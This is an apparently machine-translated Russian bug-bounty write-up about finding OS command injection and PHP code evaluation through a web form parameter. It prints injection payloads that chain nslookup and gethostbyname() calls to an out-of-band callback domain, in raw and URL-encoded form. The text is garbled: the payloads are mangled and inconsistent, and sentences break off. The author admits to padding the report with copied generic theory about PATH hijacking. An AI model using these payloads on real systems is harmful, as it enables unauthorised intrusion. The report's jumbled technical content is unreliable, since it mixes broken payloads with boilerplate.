Привет ребята,
Я обнаружил инъекцию команды путем захвата запроса DNS A, который возникает, когда входные данные интерпретируются как команда операционной системы.
Это очень важная проблема, и ее следует решить как можно скорее.
Выполнение команд без указания абсолютного пути может позволить злоумышленнику выполнить вредоносный двоичный файл, изменив $ PATH или другие аспекты среды выполнения программы.
влияние этой ошибки:
Злоумышленник может выполнить произвольный PHP-код в системе. Злоумышленник также может выполнять произвольные системные команды.
и как я нашел
Я нашел случайную форму ввода пользователя (param =)
и после того, как я поместил много вещей в param, я пробую = & + nslookup + cxx8nlugxbqajjeguq7iwpzsdbxnyfj5o-a6ssjqlda.r87.me & ’\" 0 & nslookup + cxx8nlugxbqajjeguq7iwpzjsdbx
вот так: =% 2526% 2Bnslookup% 2Bcxx8nlugxbqajjeguq7iwpzsdbxnyfj5o-a6ssjqlda.r87.me% 2526% 2527% 255c% 2522% 25600% 2526nslookup% 2Bcxx8nlugxbmewajjjjssqo% 2526nslookup% 2Bcxx8nlugxbmewajjjjssqo% 2526jjsqoi.jpg
тогда я получил
‹/Form›
‹pre› Сервер: xyz
Адрес: 172.xxx ‹/pre›
‹/p›
‹/div›
‹/ div ›
затем я нашел оценку кода на том же сайте
xyz.php? name =% 2bgethostbyname (trim (‘cxx8nlugxbab9vh_wuarecplh8zuzv9vyp5zxftg’. ’vma.r87.me’))% 3b% 2f% 2f
EXTRA EXTRA EXTRA… .. (теория только для увеличения длины отчета)
Не принимайте ввод от конечных пользователей, который будет напрямую интерпретироваться как исходный код. Если это бизнес-требование, проверьте все вводимые данные в приложении и удалите все данные, которые могут быть напрямую интерпретированы как исходный код PHP.
Эту уязвимость нетрудно использовать. PHP - это язык высокого уровня, для которого доступны обширные ресурсы. Успешная эксплуатация требует знания языка программирования, доступа к исходному коду или способности создавать исходный код для использования в таких атаках, а также минимальных навыков атаки.
Объяснение
Уязвимости внедрения команд имеют две формы:
- Злоумышленник может изменить команду, которую выполняет программа: злоумышленник явно контролирует, что это за команда.
- Злоумышленник может изменить среду, в которой выполняется команда: злоумышленник неявно контролирует значение команды.
В этом случае нас в первую очередь интересует второй сценарий, в котором злоумышленник может изменить значение команды, изменив переменную среды или вставив вредоносный исполняемый файл на раннем этапе поиска. Уязвимости этого типа с внедрением команд возникают, когда:
1. Злоумышленник изменяет среду приложения.
2. Приложение выполняет команду без указания абсолютного пути или проверки исполняемого двоичного файла.
3. Выполняя команду, приложение дает злоумышленнику привилегию или возможность, которых у злоумышленника в противном случае не было бы.
демонстрирует, что может случиться, если злоумышленник может изменить интерпретацию команды. Код взят из веб-утилиты CGI, которая позволяет пользователям изменять свои пароли. Процесс обновления пароля в NIS включает запуск make
в каталоге /var/yp
. Обратите внимание: поскольку программа обновляет записи паролей, она была установлена setuid root
.
Программа вызывает make
следующим образом:
system("cd /var/yp && make &> /dev/null");
Команда в этом примере жестко запрограммирована, поэтому злоумышленник не может контролировать аргумент, переданный в system()
. Однако, поскольку программа не указывает абсолютный путь для make
и не очищает свои переменные среды перед вызовом команды, злоумышленник может изменить свою переменную $PATH
, указав на вредоносный двоичный файл с именем make
, и выполнить сценарий CGI из приглашения оболочки. . А поскольку программа была установлена setuid root
, версия make
злоумышленника теперь работает с root
привилегиями.
Среда играет важную роль в выполнении системных команд в программах. Такие функции, как system()
и exec()
, используют среду вызывающей их программы, и поэтому у злоумышленников есть потенциальная возможность повлиять на поведение этих вызовов.
Подпишитесь на Infosec Write-ups, чтобы увидеть больше таких замечательных статей.